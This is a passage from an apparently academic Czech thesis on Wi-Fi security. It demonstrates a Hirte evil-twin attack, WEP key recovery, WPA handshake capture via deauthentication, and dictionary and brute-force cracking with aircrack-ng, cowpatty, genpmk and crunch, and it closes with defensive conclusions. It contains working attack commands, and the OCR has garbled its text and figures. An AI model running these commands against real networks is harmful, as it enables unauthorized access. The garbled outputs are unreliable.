Hlavni myslenkou je vytvorit si vlastni (falesny) AP a donutit klienta se k nému
pripojit. Vyjdeme z toho, ze ma zapnuté automatické pripojeni k siti, kam se v minu-
losti pripojoval. V tom pripadé totiz vysila specidlni rdmce s nazvem "probe request’,
obsahujicich informace o dané siti (SSID, podporovanou rychlost) do okoli, které jsou
soucasti ramect typu "beacon" - vysilané broadcastové, pristupovym bodem.

Konkrétni piipad lze vidét na obr[4.22] kde klient neni k AP asociovan a vysila

do okoli ramce "probe request’.

BSSID STATION PWR Rate Lost Frames Probe

(not associated) 74:E5:0B:C0O:5B:8C -18 e -1 16 14 WEFPB4

Obr. 4.22: Stanice vysilajici ramce probe request

Zname tedy SSID sité, ke které byl klient v minulosti pfipojen, na kanale nezalezi,
tudiz ho zvolime tak, aby se co nejméné kryl s ostatnimi sitémi v dosahu a byl tak
co nejméné rusen. Nasledné si tedy vytvorime falesny AP (tzv. "evil twin") s SSID
WEP64 a spustime Hirte atok, viz obr[4.23}
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L

Created tap interface at®

Trying to set MTU on at@ to 1560

Access Polnt with BSSID 00:CO:CA:69:B5:94 started.

Client 74:E5:0B:C0:5B:8C associated (WEP) to ESSID: "WEPG4"
Starting Hirte attack against 74:E5:0B:C0:5B:BC at 500 pps.

5
5
5
5
5]

@ 00w LW

Obr. 4.23: Falesny AP a tutok Hirte

airbase-ng -c 5 -e "WEP64" -W 1 -N -x 500 monO

Parametry znaci:
e -W 1 - nastavi pouziti Sifrovani na WEP;
e -N - oznacuje hirte utok;

e -x 500 - urcuje, kolik paketl za vterinu budeme posilat

Déle uz jen zndmym zptsobem spustime zachytavani vektori IV na dané siti, se
zménou v BSSID na 00:C0:CA:69:B5:9A, coz je MAC adresa adaptéru mon0.:

airodump-ng -c¢ 5 -w hirte --bssid 00:CO:CA:69:B5:9A --ivs monO

CH 5 1[ Elapsed: 1 min ][ 2014-85-23 15:24

B55ID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:CO:CA:69:B5:94 a 3 i i 5 54 WEP WEP WEPG4

Obr. 4.24: Zachytavani vektoria IV

Dle obr{4.24] je mozno vidét, za jakou dobu je mozné zachytit dostatek vektori IV,
abychom z nich PTW utokem nésledné dostali tajny kli¢, obr/4.25]

[Bp:0B:08] Tested ys (got 22667 IVs)

depth  byte(vote)
7/ 41 30(27648)
e/, 12 21(322586)
8/; 15 23(31488)

75(27648) 81(27648) C7(27648)
4F(30464) 1E(29952) 41(28416)
CE(28416) D8(28416) DA(28160)
81(29696) 48(29440) A2(284186)
20(26368) 3E(26368) 6B8(26368)

L 41(348186)
14/ 16 63(26624)

oo = kO
= 0D = = N
M LRI W

KEY FOUND! [ 308:21:23:41:62 ]| (ASCII: 0!'#Ab )
Decrypted correctly: 1080%

Obr. 4.25: PTW utok
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4.3.7 Utok na algoritmus WPA /WPA2-PSK

Utoky na tyto Sifrovaci algoritmy uZ nejsou zalozeny na PTW ttoku, jelikoZ uz
nejsou pouzity statické klice, tak jak to bylo u WEPu.

Jak je uvedeno v kapitole , algoritmy WPA/WPA2 jsou zaloZeny na tzv.
"4-way handshake', kterd se sestavuje mezi klientem a AP a z toho davodu jsou
v soucasné dobé mozné pouze ttoky typu "bruteforce', na predsdileny kli¢, ktery je
v urcité formé obsazen v téchto vymeénych zpravach, jak si ukazeme dale.

Zakladem je tedy opét tajny kli¢ (Passphrase), s velikosti od 8 do 63 znakiu. Ten
je pak konvertovan do 256 bitového klice PSK (Pre-Shared Key - ndhrada za PMK),
pomoci hashovaci funkce PBKDF2 (Password based key derivation function). Tento
proces (obr. se dgje jak na strané klienta, tak i na strané AP.[19]

Vstupy do této funkce jsou:

 vySe zminovany tajny kli¢ (Passphrase);

SSID site, do které se pripojujeme;

délka SSID (pocet znaki);

4096 - hodnota, kolikrat bude dany kli¢ hashovan touto funkci;
256 - pocet bitl vystupniho klice PSK

Tajny kli¢
8 - 63 znaku PBKDF?2 PSK (256b)
(Passphrase)

Obr. 4.26: Vytvoreni PSK

V pripadé soukromého médu je PSK = PMK. Nésledné je odvozen PTK (Pairwise
Transient Key) v rdmci 4-way handshake. Robustnost PTK je tedy pfimo imérnda
slozitosti hesla (Passphrase) a soucasné tedy i SSID.

K provedeni téchto brute force itokt je nutné zachytit 4-way handshake zpravy,
které budou dany PTK a PMK obsahovat a na utoc¢icim PC si podle slovniku a
zachycenych informaci tyto hodnoty vypocitat. Jedna se pak o nasledné porovnavani
zachycenych hashovych hodnot a vypoctenych. Je mozné naslouchat na dané siti a
cekat, dokud néjaky klient nenavaze spojeni, ¢imz bychom tyto zpravy zachytili nebo
vyuzit deautentizacniho itoku v néstroji aireplay-ng (kap..
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V praktické ukazce si nejprve ukazeme, jak situace vypadd, pokud si uzivatel na
svém AP necha defaultné nastavené SSID a zvoli Spatné heslo. Za¢nu od zacatku,

zachytavanim komunikace na daném kandlu.:
aireplay-ng -c 8 -w WPA --bssid 00:02:CF:7F:B5:D1 monO

V pripadé algoritmi WPA/WPA2 je nutné zachytavat celé pakety, tudiz ne-
zadavame parametr —--ivs. Ve chvili spusténi néstroje airodump-ng uz byl na siti
pripojen klient, a tak ho bylo nutné donutit, aby se znovu pripojil a byla tak tispésné
zachycena 4-way handshake, tak jak je to na obr[4.27].

CH 8 1[ Elapsed: 2 mins ][ 2814-85-24 28:11 ][ WPA handshake: 80:82:CF:7F:B5:D1

BSS5ID FWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:02:CF:7F:B5:D1 -8 100 1169 128 ¢] g8 54 WPA TKIP PSK Internet
BSSID STATION PWR Rate Lost Frames Probe

00:02:CF:7F:B5:D1 74:E5:0B:C0:5B:8C -49 54 -54 2 1149

Obr. 4.27: Zachyceni 4-way handshake

To si vynutime znamym prikazem:
aireplay-ng -0 3 -a 00:02:CF:7F:B5:D1 -c 74:E5:0B:C0:5B:8C monO

Uspéiné zachyceni 4-way handshake lze taktéz oveérit programem Wireshark, ktery
dokaze desifrovat soubor .cap se zachycenou komunikaci. V ném je pii tspéchu

mozné vidét 4 zpravy protokolu EAPOL.

Dalsim krokem je nachystat si kvalitni slovnik, pokud predpokladame slovnikové
heslo. Jednim z nich je bézné dostupny rockyou.txt (obsahujici kolem 9,5 miliénu
hesel, o velikosti 140 MB).

K vyraznému urychleni cracknuti WPA/WPA2 hesla je mozné si uz doptfedu
vytvorit hash soubor (PMK), pro kazdou z kombinaci hesla a specifikovaného SSID,

program genpmk, ¢ehoz vyuzijeme.:

genpmk —-f rockyou.txt -d hash_soubor -s Internet

Programu je nutné predat tyto parametry:
o -f - slovnik s hesly;

e -d vysledny hash soubor;
e -8 SSID sité
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Vytvoreni toho hash souboru, pro tuto kombinaci slovniku a SSID, byla otézka
necelych 9 hodin. Vysledna velikost souboru dosahla 412 MB.

V této chvili je na fadé sdhnout po programu cowpatty, ke spusténi slovnikového
utoku na WPA-PSK.

cowpatty -d hash_soubor -r WPA-Ol.cap -s Internet

Nezbytné parametry ke spusténi jsou:

e -d - hash soubor;
e -1 - pcap soubor se zachycenou 4-way handshake;
e -s- SSID sité

Rychlost porovnavani zaznamu dosahuje k 200 tisicim frazi (hesel) za vtefinu, viz

obr. [4.28

cowpatty 4.6 - WPA-PSK dictionary attack. =jwright@hasborg.com=

Collected all necessary data to mount crack against WPA/PSK passphrase.
Starting dictionary attack. Please be patient.

The PSK 1s "stargate”

1166 passphrases tested in 0.01 seconds: 211593.66 passphrases/second

Obr. 4.28: Usp&sné prolomenti hesla, pomoci programu cowpatty

Je tedy videét, jak dulezité je zvolit dobré heslo a nahodné SSID, jelikoz v opac¢ném
pripadé ma ttocnik vratka oteviena a k odhaleni hesla mu staci par desitek vterin.
Samoziejmé je mozné pouzit aircrack, pokud nemame pro dané SSID hash slov-
nik, v tom pripadé by predalo aircracku parametrem -w slovnik a dany soubor se

zachycenou 4-way handshake:

aircrack-ng -w rockyou.txt WPA-01.cap.

Pokud by heslo nebylo nalezeno, nezbyva jind moznost, nez sahnout po jiném
slovniku, ¢i vytvorit si soubor se vSemi kombinacemi znaki, k ¢emuz nam poslouzi

program crunch.

Uvedme si priklad kombinaci 8 cisel:

crunch 8 8 1234567890 | aircrack-ng -w - WPA-01.cap
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Na obri4.29| je mozné vidét jak aircrack porovnava vypoctené klice pro danou

passphrase, s témi zachycenymi z 4-way handshake.

Aircrack-ng 1.2 beta3
[66:33:48] 2945480 keys tested (1496.
Current passphrase: 13056488

Master Key : 5F 38 94 C5 22 F1 E6 A9 9E 5
7 OE EO DA 68 31 EE BD AD AB E

Transient Key : 49 2A ES A4 8E 62 51 81 9
3 65 51 1B DF ac 4A 3B
3B FF 19 9C 03 42 2A 8F
77 3A 6B 20 93 64 26

EAPOL HMAC . 14 93 GE 48 93 4A

Obr. 4.29: Brute force itok na WPA

Je ale ditlezité tici, ze pokud by bylo heslo nastaveno, feknéme na 99991672
a nenachazelo by se tedy v zadném ze slovnikii, tak v tomto nastaveni programu

crunch by cracknuti hesla trvalo skoro 19 hodin.
4.3.8 Dalsi atoky na WPA /WPA2

Jednim z nich je vyuziti zranitelnosti ve WPS (Wi-Fi Protected Setup), coz je dopln-
kova ochrana nékterych AP. Byla vydana Wi-Fi Alianci v r. 2007, ktera zjednodusila
pripojeni pro méné technicky zdatné uzivatele. Toto WPS je zalozeno na 8 mistném
nahodném ¢isle, oznacovano jako PIN, které je umisténé na spodni strané vétsiny
AP, které tento doplnek obsahuji. Bezpec¢nostni dira byla nalezena panem Craigem
Heffnerem v tom, jak AP odpovida na autentizaci pti chybném PINu. Prakticky AP
se zapnutym WPS odpovida, zdali jsou prvni 4 cisla spravna nebo ne. To vyrazné
snizuje ¢asovou naro¢nost bruteforce toku, protoze pocéet kombinaci se snizi na 104,
pro prvni polovinu. Pro druhou polovinu to je 10, protoze posledni éislo je pouzito
jako kontrolni soucet predchozich cisel.

Nastroj vyuzivajici této zranitelnosti se nazyva reaver a uvadi se, Ze je mozné
do 10 hodin heslo ziskat. Zalezi na daném AP, jestli po opakovaném netspésném

zadani PINu prejde do stavu, kdy nebude pfijimat zadné udaje nebo ne. [23]
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Router ZyXEL, kterym disponuji avSak tuto ochranu nemd implementovanou,

tudiz jsem nebyl schopen tento utok ovérit.

V Rijnu roku 2008 byla vydana publikace Practical Attacks Against WEP and
WPA, ve které se Martin Beck a Erik Tews zamérili na atok proti protokolu TKIP.
Do té doby byl tento protokol povazovén za plné bezpecny. Utok, ktery provedli
avsak nevede k zisku tajného klice, tak ho zde nebudu podrobné rozepisovat. Tento
utok je implementovan uvnitt balicku aircrack-ng, a to konkrétné v nastroji tkiptun-
ng.

Jednim z pozadavkl na funkénost tohoto ttoku je ten, aby sif vyuzivala QoS
(Quality of Sevice). Bez né&j by nebylo mozné obejit TSC, které zabranuje replay a
chopchop ttoktim. QoS mé vyhrazeno nékolik kandli a pro kazdy z nich ma svij
TSC. Je tak mozné zachytit paket na kandlu s nejvétsim provozem, diky ¢emuz
bude mit zachyceny paket nejvyssi hodnotu TSC, ve srovnani s ostatnimi kandly.
To nasledné umozni vyuzit upraveného chopchop ttoku. Z divodu zmén docasnych
klica (PTK) je mozné ziskany keystream a hodnotu MIC pouzit pouze v dobé, kdy
plati dany PTK. Délka platnosti klicti je definovana tzv. Key renewal intervalem.
Samotny utok trva mnohem déle nez chopchop utok na WEP. Je to z diivodu ochrany
protokolu TKIP, ktera pri vice jak jedné neshodé hodnoty MIC béhem jedné minuty
vyhodnoti situaci jako utok na sit a vynuti tak zménu docasnych kli¢t, coz by
znamenalo ttok zopakovat. Ceké se tedy pokazdé minutu, po odkrojeni jednoho
bytu z paketu. Key renewal interval byva vétsinou nastaven na 1 hodinu, coz je

k probéhnuti atoku dostacujici.[22]
4.3.9 Zhodnoceni utokt

Utoky na algoritmus WEP jsou zalozeny na jednom principu, a to zachytit dosta-
tecné mnozstvi paket, obsahujicich vektor IV a aplikovanim PTW tutoku.

Prvnim provedenym ttokem byl Interactive packet replay, kterym byl zachycen
IP paket, jdouci od klienta na AP a zaviselo pouze na provozu na siti, jak rychle
bude ziskano dostatek paketti.

Druhym z ttokt byl ARP replay, ktery se projevil jako nejefektivnéjsi, jelikoz
pii kazdém ARP paketu se generuje novy IV vektor. Rychlost injekce zavisela na
vzdélenosti utoc¢ictho PC od AP. Prii velké vzdalenosti a nastaveni injekce na 500
pakettl za sekundu se hodné pakett ztracelo a bylo tak vhodné rychlost snizit.

Tretim byl chopchop 1tok, pfi némz byl konkrétné zachycen ARP pozadavek,
jdouci broadcastem ven z LAN ¢ésti. Tim bylo umoznéno paket desifrovat, vygene-

rovat ze ziskanych informaci ARP paket a injektovat ho do sité. Utok byl asové
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U utoku fragmentacniho byla situace podobna jako u chopchop utoku, s tim,
ze keystream potiebny k vygenerovani ARP paketu byl ziskan okamzité. Zachyceny
paket, jak jsem posléze pri deSifrovani zjistil a s pomoci DNS sluzby nslookup,
byl zptisoben programem KMplayer, ktery periodicky vysilal do internetu pakety
protokolu TCP.

Poslednim utokem na WEP byl utok Hirte, diky kterému byl dostatek IV vek-
tort ziskdn za dobu 1 minuty. Je ale nutné podotknout, ze pokud dto¢nik nemé&
dostatecny vysilaci signal, neni mozné ispésné tutok provést. K tomu, aby byl klient
donucen pripojit se k falesnému AP, musi byt sila signalu ttoc¢nika vétsi nez ma
pravy AP, jinak se k nému klient nepfipoji.

Ani pouziti 128 bitového hesla nijak nepomtze, v mém pripadé stacilo ziskat
50000 IV vektort, aby bylo heslo prolomeno. Pfi vyuziti ARP replay ttoku se jed-

nalo o 2 minuty.

U ttoki na WPA/WPA2 algoritmy jsou aktudlné mozné dva zptusoby ziskani
tajného klice. Prvnim z nich je zminovany utok na WPS. V pripadé bruteforce
(slovnikového) utoku to je v rukou uzivatele, jaké heslo, prip. SSID zvoli. Pokud
by zvolil Spatné, jako v ukazce, tak po zachyceni handshake by bylo heslo odha-
leno okamzité (cowpatty+hash slovnik), samozrejmé by zaviselo na délce slovniku a
vypocetnim vykonu PC.

Nejlepsim zptisobem jak zabezpecit sit je zvolit heslo co nejdelsi. Idealné néjaké
slovni spojeni nebo vétu, jelikoz samotnym bruteforce ttokem (viz je cracknuti

hesla vypocetné a ¢asové velice naro¢né viz obr. [£.31]

Tab. 4.3: Prehled naroc¢nosti bruteforce atoku

¢isla/mala pismena
Délka passphrase Casova naro¢nost
8 19 hodin / 5 let
9 8dni / 119 let
10 80 dni / 3083 let
11 28 mésici / 78669 let
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ZAVER

Cilem mé prace bylo seznamit se s problematikou zabezpeceni bezdratovych siti
standardu 802.11 a poskytnout piehled utoki na jednotlivé formy zabezpeceni. Tyto
sité predstavuji v soucasnosti nejjednodussi zpusob, jak pripojit svoje zarizeni do
lokélni sité (LAN) a internetu, nebo sdilet data. To, Ze k pripojeni do sité neni nutné
pouzivat kabelaz je jednim z hlavnich dtvodt, pro¢ se tyto sité neustale rozsiruji a
vyvijeji. Jeden dulezity aspekt pii nasazeni téchto siti je ale bohuzel casto opominén,
a tim je zabezpeceni. Smutnd véc je ta, ze od vydani standardu 802.11i a prichodu
sifrovactho algoritmu WPA2 ubéhlo 10 let a stéle se najde tolik mist, kde uzivatelé

¢i spravei stejné nasadi uz tolikrat zlomeny algoritmus WEP.

V tvodnich kapitolach jsem se snazil nahlédnout, z teoretického pohledu, do pro-
blomatiky siti 802.11 a vysvétlit principy a funkce pouzivanych Sifrovacich algoritmi
WEP, WPA a WPA2. Mimo jiné jsou zde popséany i pripadné nedostatky téchto al-

goritmii, které mohou vést k ttoktim na jejich tajny klic.

V druhé kapitole jsem se zaméril na vliv Sifrovani s ohledem na prenosovou rych-
lost. Pracoval jsem se sitovym néastrojem Iperf, ktery umoznuje zmérit propustnost
sité pri prenosu dat mezi klientem a serverem, at uz pomoci protokolu TCP, ¢i UDP.
Vse se délo pomoci prikazového fadku mezi dvémi stanicemi, bézicimi na linuxovém
systému. Mérena byla propustnost kazdého z algoritmii, pti prenosu jak malého
mnozstvi dat, tak i pri vétsim zatizeni. Konkrétni vysledky jsou uvedeny ve treti

kapitole.

V zavérecné kapitole byly demonstrovany praktické ttoky na rtzné druhy za-
bezpeceni téchto bezdratovych siti a vysvétlen jejich princip. Za prvni z nich by se
dal povazovat filtr MAC adres, ale jak bylo ukazano, 1ze velice snadno obejit. Dalsi
chabou ochranou je zamezeni vysilani SSID (skryté SSID), které 1ze taktéz pouhym
monitoringem odhalit.

Vysledkem ttokl na algoritmus WEP bylo zjisténi, Ze tento Sifrovaci algoritmus
uz neni bezpecny a je dobry akorat k odrazeni nezkuSeného utoc¢nika. Taktéz ani
pouziti 104b klice nezabrani prolomeni, pouze tuto skutecnost na chvili oddali.

S pouzitim algoritmu WPA /WPA2 je vySe zminovana chyba odstranéna, ale jak
bylo uvedeno nedostatky jsou i u téchto algoritmii. Nejlepsim zptisobem zabezpeceni
sité je nasazeni RADIUS serveru a autentizace 802.1X nebo v pripadé domaci sité,

kde se nedisponuje s tak velkym rozpoctem, pouzit PSK méd (kombinaci protokolu
CCMP a sifry AES).
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SEZNAM SYMBOLU, VELICIN A ZKRATEK

IEEE Institute of Electrical and Electronics Engineers
OFDM Orthogonal Frequency-Division Multiplexing
ARS Adaptive Rate Selection

DSSS Direct Sequence Spread Spectrum

CCK Complementary Code Keying

ERP Extended Rate Physicals

MIMO Multiple Input Multiple Output

AP Access Point

CRC Cyclic Redundancy Check

ICV Integrity Check Value

EAP Extensible Authentication Protocol
EAP-TTLS EAP-Tunneled Transport Layer Security
PEAP Protected Extensible Authentication Protocol
EAP-TLS EAP-Transport Layer Security

RADIUS Remote Authentication Dial In User Service
EAPOL Extensible Authentication Protocol Over Lan
TKIP Temporal Key Integrity Protocol

MAC Media Access Control

PTK Pairwise Transient Key

MIC Message Integrity Check

GTK Group Temporal Key

TSC TKIP Sequence Counter

TMK Temporary MIC Key
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SA Source Address

DA Destination Address

RSN Robust Security Network
AES Advanced Encryption Standard

CCMP Counter Mode with Cipher Block Chaining Message Authentication Code

Protocol
MSDU Mac Service Data Unit
MPDU Mac Protocol Data Unit
CBC-MAC Cipher-Block Chaining Message Authen- tication Code
CTR Counter-Mode
TK Temporary Key
TCP Transmission Control Protocol
UDP User Datagram Protocol
ARP Address Resolution Protocol
DS Distribution System
PRGA Pseudo-random generation algorithm
LLC Logical link control
SNAP Subnetwork Access Protocol
IP  Internet Protocol
KSA Key-Scheduling Algorithm
BSSID Basic Service Set Identification
ESSID Extended Service Set Identification
PMK Pairwise Master Key

DNS Domain Name System
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